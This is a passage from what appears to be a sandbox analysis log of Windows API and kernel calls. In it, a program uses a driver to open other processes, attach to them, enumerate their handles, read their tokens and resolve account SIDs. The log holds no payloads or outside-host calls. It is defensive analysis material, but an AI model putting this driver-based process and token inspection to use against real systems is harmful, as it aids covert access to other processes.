lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.656] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0137.656] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.656] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0137.657] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.657] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.657] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.657] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.657] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.658] CloseHandle (hObject=0xc8) returned 1 [0137.658] CloseHandle (hObject=0xc0) returned 1 [0137.658] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.658] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.658] PsAcquireProcessExitSynchronization () returned 0x0 [0137.658] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0) [0137.658] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0137.658] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.658] PsReleaseProcessExitSynchronization () returned 0x2 [0137.658] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0137.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.659] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0137.659] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.659] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0137.659] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.659] PsAcquireProcessExitSynchronization () returned 0x0 [0137.659] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0) [0137.659] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0137.659] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.659] PsReleaseProcessExitSynchronization () returned 0x2 [0137.659] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0137.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.659] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0137.659] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.659] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.659] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.659] PsAcquireProcessExitSynchronization () returned 0x0 [0137.659] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054735d0) [0137.659] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.659] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.659] PsReleaseProcessExitSynchronization () returned 0x2 [0137.659] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0137.659] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.659] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.659] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.659] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.659] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0137.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.659] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0137.659] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.660] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0137.660] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.660] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.660] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.660] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.660] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.661] CloseHandle (hObject=0xc8) returned 1 [0137.661] CloseHandle (hObject=0xc0) returned 1 [0137.661] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.661] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.661] PsAcquireProcessExitSynchronization () returned 0x0 [0137.661] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0) [0137.661] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0137.661] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.661] PsReleaseProcessExitSynchronization () returned 0x2 [0137.661] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0137.661] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.662] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0137.662] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.662] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.662] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.662] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.662] PsAcquireProcessExitSynchronization () returned 0x0 [0137.662] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0) [0137.662] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0137.662] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.662] PsReleaseProcessExitSynchronization () returned 0x2 [0137.662] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0137.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.662] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0137.662] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.662] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.662] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.662] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.662] PsAcquireProcessExitSynchronization () returned 0x0 [0137.662] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054735d0) [0137.662] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.662] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.662] PsReleaseProcessExitSynchronization () returned 0x2 [0137.662] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0137.662] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.662] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.662] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.662] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.662] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0137.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.662] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0137.663] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.663] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0137.663] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.663] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.663] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.663] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.663] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.664] CloseHandle (hObject=0xc8) returned 1 [0137.664] CloseHandle (hObject=0xc0) returned 1 [0137.664] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.664] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.664] PsAcquireProcessExitSynchronization () returned 0x0 [0137.664] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0) [0137.664] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0137.664] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.664] PsReleaseProcessExitSynchronization () returned 0x2 [0137.664] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0137.664] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.665] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0137.665] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.665] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.665] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.665] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.665] PsAcquireProcessExitSynchronization () returned 0x0 [0137.665] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0) [0137.665] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0137.665] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.665] PsReleaseProcessExitSynchronization () returned 0x2 [0137.665] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0137.665] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.665] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0137.665] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.665] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.665] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.665] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.665] PsAcquireProcessExitSynchronization () returned 0x0 [0137.665] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880054735d0) [0137.665] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.665] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.665] PsReleaseProcessExitSynchronization () returned 0x2 [0137.665] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0137.665] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.665] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.665] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.665] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.665] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0137.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.665] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0137.666] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.666] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0137.666] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.666] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.666] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.666] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.666] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.667] CloseHandle (hObject=0xc8) returned 1 [0137.667] CloseHandle (hObject=0xc0) returned 1 [0137.667] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.667] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.667] PsAcquireProcessExitSynchronization () returned 0x0 [0137.667] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0) [0137.667] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0137.667] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.667] PsReleaseProcessExitSynchronization () returned 0x2 [0137.667] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0137.668] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.668] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0137.668] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.668] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.668] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0137.668] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.668] PsAcquireProcessExitSynchronization () returned 0x0 [0137.668] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0) [0137.668] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: 